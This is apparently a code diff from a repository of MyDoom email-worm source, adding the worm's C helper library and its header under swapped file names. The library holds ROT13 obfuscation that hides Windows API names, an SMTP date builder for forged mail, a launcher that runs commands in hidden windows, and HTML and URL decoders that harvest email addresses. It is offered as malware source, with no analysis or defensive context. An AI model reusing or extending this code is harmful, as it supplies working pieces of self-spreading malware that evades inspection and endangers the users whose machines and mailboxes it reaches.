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Author: enginestein

MyDoom/BINARY/MYDOOM.idb

@@ -0,0 +1,286 @@
+#define WIN32_LEAN_AND_MEAN
+#include <windows.h>
+#include <wininet.h>
+#include <string.h>
+#include "lib.h"
+
+char rot13c(char c)
+{
+	char u[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
+	char l[] = "abcdefghijklmnopqrstuvwxyz";
+	char *p;
+
+	if ((p = xstrchr(u, c)) != NULL)
+		return u[((p-u) + 13) % 26];
+	else if ((p = xstrchr(l, c)) != NULL)
+		return l[((p-l) + 13) % 26];
+	else
+		return c;
+}
+
+void rot13(char *buf, const char *in)
+{
+	while (*in)
+		*buf++ = rot13c(*in++);
+	*buf = 0;
+}
+
+void mk_smtpdate(FILETIME *in_ft, char *buf)
+{
+        SYSTEMTIME t;
+	TIME_ZONE_INFORMATION tmz_info;
+	DWORD daylight_flag; int utc_offs, utc_offs_u;
+        LPSTR weekdays[7] = { "Sun", "Mon", "Tue", "Wed", "Thu", "Fri", "Sat" };
+        LPSTR months[12] = { "Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec" };
+
+	if (in_ft == NULL) {
+	        GetLocalTime(&t);
+	} else {
+		FILETIME lft;
+		FileTimeToLocalFileTime(in_ft, &lft);
+		FileTimeToSystemTime(&lft, &t);
+	}
+
+	tmz_info.Bias = 0;
+	daylight_flag = GetTimeZoneInformation(&tmz_info);
+
+	utc_offs = tmz_info.Bias;
+	if (daylight_flag == TIME_ZONE_ID_DAYLIGHT) utc_offs += tmz_info.DaylightBias;
+	utc_offs = -utc_offs;
+	utc_offs_u = (utc_offs >= 0) ? utc_offs : -utc_offs;
+
+        if (t.wDayOfWeek > 6) t.wDayOfWeek = 6;
+        if (t.wMonth == 0) t.wMonth = 1;
+        if (t.wMonth > 12) t.wMonth = 12;
+
+        wsprintf(buf,
+                "%s, %u %s %u %.2u:%.2u:%.2u %s%.2u%.2u",
+                weekdays[t.wDayOfWeek], t.wDay,
+                months[t.wMonth-1], t.wYear,
+                t.wHour, t.wMinute, t.wSecond,
+		(utc_offs >= 0) ? "+" : "-",
+		utc_offs_u / 60, utc_offs_u % 60
+        );
+}
+
+static DWORD xrand16_seed;
+
+void xrand_init(void)
+{
+	xrand16_seed = GetTickCount();
+}
+
+WORD xrand16(void)
+{
+	xrand16_seed = 0x015a4e35L * xrand16_seed + 1L;
+	return ((WORD)(xrand16_seed >> 16L) & (WORD)0xffff);
+}
+
+DWORD xrand32(void)
+{
+	return xrand16() | (xrand16() << 16);
+}
+
+char *xstrstr(const char *str, const char *pat)
+{
+	const char *p, *q;
+	for (; *str; str++) {
+		for (p=str, q=pat; *p && *q; p++, q++)
+			if (*p != *q) break;
+		if (p == q || *q == 0) return (char *)str;
+	}
+	return NULL;
+}
+
+char *xstrrchr(const char *str, char ch)
+{
+	register char *start = (char *)str;
+	while (*str++);
+	while (--str != start && *str != ch);
+	if (*str == (char)ch) return((char *)str);
+	return NULL;
+}
+
+char *xstrchr(const char *str, char ch)
+{
+	while (*str && *str != ch) str++;
+	return (*str == ch) ? (char *)str : NULL;
+}
+
+int xsystem(char *cmd, int wait)
+{
+	PROCESS_INFORMATION pi; 
+	STARTUPINFO si; 
+
+	ZeroMemory(&si, sizeof(si));
+	si.cb = sizeof(si);
+	si.dwFlags = STARTF_USESHOWWINDOW | STARTF_FORCEOFFFEEDBACK;
+	si.wShowWindow = SW_HIDE;
+
+	if (CreateProcess(0, cmd, 0, 0, TRUE, 0, 0, 0, &si, &pi) == 0)
+		return 1;	/* FAILED */
+
+	if (wait) {
+		WaitForSingleObject(pi.hProcess, INFINITE);
+		CloseHandle(pi.hThread);
+		CloseHandle(pi.hProcess);
+	}
+
+	return 0;		/* SUCCESS */
+}
+
+int xmemcmpi(unsigned char *p, unsigned char *q, int len)
+{
+	while (len--)
+		if (tolower(*p++) != tolower(*q++)) return 1;
+	return 0;
+}
+
+int xstrncmp(const char *first, const char *last, size_t count)
+{
+        if (!count)
+                return(0);
+
+        while (--count && *first && *first == *last)
+        {
+                first++;
+                last++;
+        }
+
+        return (*(unsigned char *)first - *(unsigned char *)last);
+}
+
+/* "&#<number>" -> ascii */
+int html_replace(char *str)
+{
+	char tmp[20], *mv_from, *mv_to;
+	int i, j, amp_start, amp_end, amp_len, charcode, chr_len, mv_len;
+	int found;
+
+	for (i=0,found=0; str[i]; i++) {
+		if (str[i] != '&') continue;
+		amp_start = i;
+		if (str[++i] != '#') continue;
+		for (j=0,i++; j<(sizeof(tmp)-5);) {
+			if (!isdigit(str[i])) break;
+			tmp[j++] = str[i++];
+		}
+		tmp[j] = 0;
+		for (charcode=0,j=0; tmp[j]; j++)
+			charcode = charcode * 10 + (tmp[j] - '0');
+
+		if (str[i] == ';') i++;
+		amp_end = i;
+
+		if (charcode <= 0) continue;
+		ZeroMemory(tmp, sizeof(tmp));
+		if (charcode < 256) {
+			tmp[0] = charcode;
+			tmp[1] = 0;
+		} else {
+			WideCharToMultiByte(CP_ACP, 0, (WCHAR*)&charcode, 1, tmp, sizeof(tmp), NULL, NULL);
+		}
+		if (tmp[0] == 0) continue;
+
+		amp_len = amp_end - amp_start;
+		chr_len = lstrlen(tmp);
+
+		if (amp_len != chr_len) {
+			mv_from = str + amp_start + amp_len;
+			mv_to = str + amp_start + chr_len;
+			mv_len = (str + lstrlen(str)) - mv_from + 1;
+			if (mv_to < mv_from) {
+				for (j=0; j<mv_len; j++) *mv_to++ = *mv_from++;
+			} else {
+				for (j=mv_len-1; j>=0; j--) mv_to[j] = mv_from[j];
+			}
+		}
+
+		memcpy(str + amp_start, tmp, lstrlen(tmp));
+		i = amp_start;
+		found++;
+	}
+	return found;
+}
+
+/* urldecode algorithm */
+/* useful for <a href="mailto:xxx%40xxx"> tags */
+int html_replace2(char *str)
+{
+	char tmp[20], *mv_from, *mv_to;
+	int i, j, amp_start, amp_end, amp_len, charcode, chr_len, mv_len;
+	int found;
+
+	for (i=0,found=0; str[i]; i++) {
+		if (str[i] != '%') continue;
+		amp_start = i;
+		if (!isxdigit(str[i+1])) continue;
+		tmp[0] = toupper(str[++i]);
+		if (!isxdigit(str[i+1])) continue;
+		tmp[1] = toupper(str[++i]);
+		tmp[2] = 0;
+		amp_end = ++i;
+
+		charcode = ((tmp[1] >= 'A') && (tmp[1] <= 'Z')) ? 10+tmp[1]-'A' : tmp[1]-'0';
+		charcode += (((tmp[0] >= 'A') && (tmp[0] <= 'Z')) ? 10+tmp[0]-'A' : tmp[0]-'0') << 4;
+
+		if (charcode <= 0) continue;
+		tmp[0] = charcode;
+		tmp[1] = 0;
+
+		amp_len = amp_end - amp_start;
+		chr_len = lstrlen(tmp);
+
+		if (amp_len != chr_len) {
+			mv_from = str + amp_start + amp_len;
+			mv_to = str + amp_start + chr_len;
+			mv_len = (str + lstrlen(str)) - mv_from + 1;
+			if (mv_to < mv_from) {
+				for (j=0; j<mv_len; j++) *mv_to++ = *mv_from++;
+			} else {
+				for (j=mv_len-1; j>=0; j--) mv_to[j] = mv_from[j];
+			}
+		}
+
+		memcpy(str + amp_start, tmp, lstrlen(tmp));
+		i = amp_start;
+		found++;
+	}
+	return found;
+}
+
+typedef BOOL (WINAPI *WININET_GETCONNECTEDSTATE)(LPDWORD lpdwFlags, DWORD dwReserved);
+
+/* Returns: 0=offline, 1=online, 2=don't know */
+int is_online(void)
+{
+	WININET_GETCONNECTEDSTATE pInternetGetConnectedState;
+	HINSTANCE hWinInet;
+	DWORD igcs_flags;
+	char tmp[64];
+
+	rot13(tmp, "jvavarg.qyy");                /* "wininet.dll" */
+	hWinInet = GetModuleHandle(tmp);
+	if (hWinInet == NULL || hWinInet == INVALID_HANDLE_VALUE) {
+		hWinInet = LoadLibrary(tmp);
+		if (hWinInet == NULL || hWinInet == INVALID_HANDLE_VALUE)
+			return 2;
+	}
+
+	rot13(tmp, "VagreargTrgPbaarpgrqFgngr");  /* "InternetGetConnectedState" */
+	pInternetGetConnectedState = (WININET_GETCONNECTEDSTATE)GetProcAddress(hWinInet, tmp);
+	if (pInternetGetConnectedState == NULL)
+		return 2;
+
+	return (pInternetGetConnectedState(&igcs_flags, 0) == 0) ? 0 : 1;
+}
+
+int cat_wsprintf(LPTSTR lpOutput, LPCTSTR lpFormat, ...)
+{
+        register int ret;
+        va_list arglist;
+        va_start(arglist, lpFormat);
+        ret = wvsprintf(lpOutput + lstrlen(lpOutput), lpFormat, arglist);
+        va_end(arglist);
+        return ret;
+}

MyDoom/lib.c

@@ -0,0 +1,21 @@
+#ifndef _SYNC_LIB_H_
+#define _SYNC_LIB_H_
+
+char rot13c(char c);
+void rot13(char *buf, const char *in);
+void mk_smtpdate(FILETIME *in_ft, char *buf);
+void xrand_init(void);
+WORD xrand16(void);
+DWORD xrand32(void);
+char *xstrstr(const char *str, const char *pat);
+char *xstrrchr(const char *str, char ch);
+char *xstrchr(const char *str, char ch);
+int xsystem(char *cmd, int wait);
+int xmemcmpi(unsigned char *, unsigned char *, int);
+int xstrncmp(const char *first, const char *last, size_t count);
+int html_replace(char *);
+int html_replace2(char *);
+int is_online(void);
+int cat_wsprintf(LPTSTR lpOutput, LPCTSTR lpFormat, ...);
+
+#endif